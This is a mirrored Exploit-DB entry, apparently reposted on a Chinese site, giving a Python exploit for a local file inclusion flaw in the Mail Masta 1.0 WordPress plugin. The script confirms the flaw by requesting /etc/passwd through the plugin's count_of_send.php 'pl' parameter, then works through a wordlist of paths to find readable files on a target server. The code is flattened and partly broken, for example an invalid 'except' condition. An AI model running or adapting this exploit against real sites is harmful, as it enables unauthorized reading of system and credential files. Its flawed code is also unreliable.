WordPress Plugin Mail Masta 1.0 – Local File Inclusion (2)

• Exploit Database
• 114 阅读

• 作者： Matheus Alexandre
  日期： 2021-08-25
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/50226/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78

  # Exploit Title: WordPress Plugin Mail Masta 1.0 - Local File Inclusion (2) # Date: 2021-08-24 # Exploit Author: Matheus Alexandre [Xcatolin] # Software Link: https://downloads.wordpress.org/plugin/mail-masta.zip # Version: 1.0   WordPress Plugin Mail Masta is prone to a local file inclusion vulnerability because it fails to sufficiently verify user-supplied input.   * Make sure to modify the wordlist path to your preferred wordlist. You can also download the one i used at Github: https://github.com/Xcatolin/Personal-Exploits/   #!/usr/bin/python   # Exploit for the WordPress plugin mail-masta 1.0 LFI vulnerability   import requests from requests.exceptions import ConnectionError   class bcolors: OKGREEN = &apos;\033[92m&apos; WARNING = &apos;\033[93m&apos; FAIL = &apos;\033[91m&apos; ENDC = &apos;\033[0m&apos; BOLD = &apos;\033[1m&apos; ITALIC = &apos;\33[3m&apos;   print(bcolors.BOLD + """\ _____ _ ____ _ |\/|__ _(_) |___|\/|__ _ __| |_ __ _ | |\/| / _<code> | | |___| |\/| / _</code> (_-<_/ _<code> | |_||_\__,_|_|_| |_||_\__,_/__/\__\__,_| _ _ ___ _ _ ___ _ _ | | _____ __ _| | | __(_) |___|_ _|_ ___| |__ __(_)___ _ _ | |__/ _ \/ _/ _</code> | | | _|| | / -_)| || &apos; \/ _| | || (_-< / _ \ &apos; \ |____\___/\__\__,_|_| |_| |_|_\___| |___|_||_\__|_|\_,_/__/_\___/_||_|   |_ .\_/ _ _ |_ _ |. _ |_)\/./ \(_(_||_(_)||| ) / """ + bcolors.ENDC)   endpoint = "/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=" valid = "/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/etc/passwd"     print (bcolors.WARNING + "[+] Insert the target including the WordPress instance:" + bcolors.ENDC) print (bcolors.ITALIC + "ex: http://target.com/wordpress\n" + bcolors.ENDC) target = raw_input("~# ")   print (bcolors.WARNING + "[*] Checking if the target is alive..." + bcolors.ENDC) try: request = requests.get(target) except ConnectionError: print (bcolors.FAIL + "[X] Target not available. Please check the URL you&apos;ve entered." + bcolors.ENDC) exit(1) else: print (bcolors.OKGREEN + "[!] Target up and running!\n" + bcolors.ENDC)   print (bcolors.WARNING + "[*] Checking if the Mail-Masta endpoint is vulnerable..." + bcolors.ENDC) try: response = requests.get(target + valid) except len(response.content) < 1000 : print (bcolors.FAIL + "[X] Endpoint not vulnerable." + bcolors.ENDC) exit(1) else: print (bcolors.OKGREEN + "[!] Endpoint vulnerable!\n" + bcolors.ENDC)   print (bcolors.WARNING + "[*] Fuzzing for files in the system..." + bcolors.ENDC) wordlist=&apos;wordlist.txt&apos; ## Change here lines=open(wordlist, "r").readlines()   for i in range(0, len(lines)): word=lines[i].replace("\n","") response = requests.get(target + endpoint + word) if len(response.content) > 500 : print (bcolors.OKGREEN + "[!] " + bcolors.ENDC) + "File",word,"found!"